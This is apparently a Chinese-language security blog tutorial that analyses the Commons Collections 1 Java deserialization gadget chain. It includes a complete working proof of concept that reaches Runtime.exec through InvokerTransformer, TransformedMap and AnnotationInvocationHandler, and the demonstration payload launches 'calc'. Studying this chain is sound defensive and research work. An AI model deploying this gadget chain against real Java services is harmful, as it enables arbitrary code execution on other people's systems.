Java反序列化(CommonsCollections1)
2024-03-22 00:00:00 # Java # CommonsCollections

Commons-Collections1

cc链的第一条,准备记录的详细一点

测试代码

还是和之前一样,先给出完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC1TestFinal {
public static void main(String[] args) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException {

Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);


Map map = new HashMap();
map.put("value","fuck");
Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

Class annotationinvocationhandlerclass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = annotationinvocationhandlerclass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o = annotationInvocationhdlConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
System.out.println();
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

分析

这条链最后执行任意方法的点就是InvokerTransformer类的transform方法

image-20240322003729672

大概就是接收一个输入,不为空就获取它的Class,然后获取这个类的某一个方法,然后反射调用这个方法

image-20240322003952839

这里看到InvokerTransformer的构造方法,这里的methodName感觉是可控的,所以用这个方法去调用Runtime.getRuntime().exec(),先写一个命令执行的形式

1
Runtime.getRuntime().exec("calc");

然后利用反射的形式实现

1
2
3
4
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

因为Runtime这个类不能被序列化,所以上面的代码就用Class起手实现

1
2
3
4
5
Class runtimeClass = Runtime.class;
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

回到cc1这里,改用InvokerTransformer实现

1
2
3
4
Class runtimeClass = Runtime.class;
Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass);
Runtime runtime =(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

这里等于是重复调用了transform方法,在ChainedTransformer这个类中有一个构造方法和函数,可以实现链式调用

image-20240322104335654

把上面再改写成ChainedTransformer的形式

1
2
3
4
5
6
7
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

然后就是细说一下这里面的东西,看一下,这里transform获取了inputClass类,正好对应上了Runtime类,然后iMethodName理想状况下应该是getRuntime

image-20240322005552259

可以看到getRuntime是一个无参数的方法,所以这里iArgs应该是为null

image-20240322010313204

第一句Class runtimeClass = Runtime.class;是获取RuntimeClass

image-20240322011041969

然后根据InvokerTransformernew一个对象,第一个参数是方法名,第二个数组参数是参数类型,第三个数组参数是方法参数,这里因为传的是Class类型,所以第一步需要获取getMethod方法,对应的第一个参数就是getMethod

用getMethod的目的是调用getRuntime,而getMethod的第一个参数是String类型,第二个参数是null,所以第二个参数就是new Class[]{String.class,Class[].class}然后调用transform得到Method类型的对象getRuntimeMethod

剩下两次的new InvokerTransformer同理

构造好这部分之后先放着不动,接下来找一下都有哪些类调用了transform方法

image-20240322085129040

这里找到了TransformedMap类的checkSetValue方法

image-20240322085730231

继续找调用checkSetValue的地方,找到了AbstractInputCheckedMapDecorator类的setValue方法

image-20240322091248467

继续找调用setValue的地方,在AnnotationInvocationHandler类中,正好readObject方法调用到了setValue

image-20240322093906034

整条连倒着推过来大概就是这样

image-20240322100050561

然后就是写TransformedMap的部分

image-20240322105630662

这个类中的decorate方法会返回一个TransformedMap的实例,并且它的三个参数是我们可以控制的,而valueTransformer调用了transform方法,也就是说只要让valueTransformer参数是chainedTransformer就可以触发

这里new一个Map对象,然后设置一个键值对,至于为什么是这两个值,后面再讨论

1
2
3
Map map = new HashMap();
map.put("value","fuck");
Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer)

入口类调用了checkSetValue,接下来写这一部分

image-20240322100504535

根据英文的意思,annotationType就是注解类型,常见的就是OverrideTarget……,这里代码大致的意思是获取注解的成员变量,为什么用Target,因为它的成员变量不为空,代码后边会根据Map的key查找注解类型是否存在key成员变量,所以put的时候key值要设置成Target的成员变量value

image-20240322112228523

image-20240322112241258

最后就是完善这一部分

1
2
3
4
Class annotationinvocationhandlerclass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = annotationinvocationhandlerclass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o = annotationInvocationhdlConstructor.newInstance(Target.class,transformedMap);

这条链就结束了

参考链接

https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.1007.top_right_bar_window_default_collection.content.click&vd_source=0e561107bf71895281374fc0b905ae17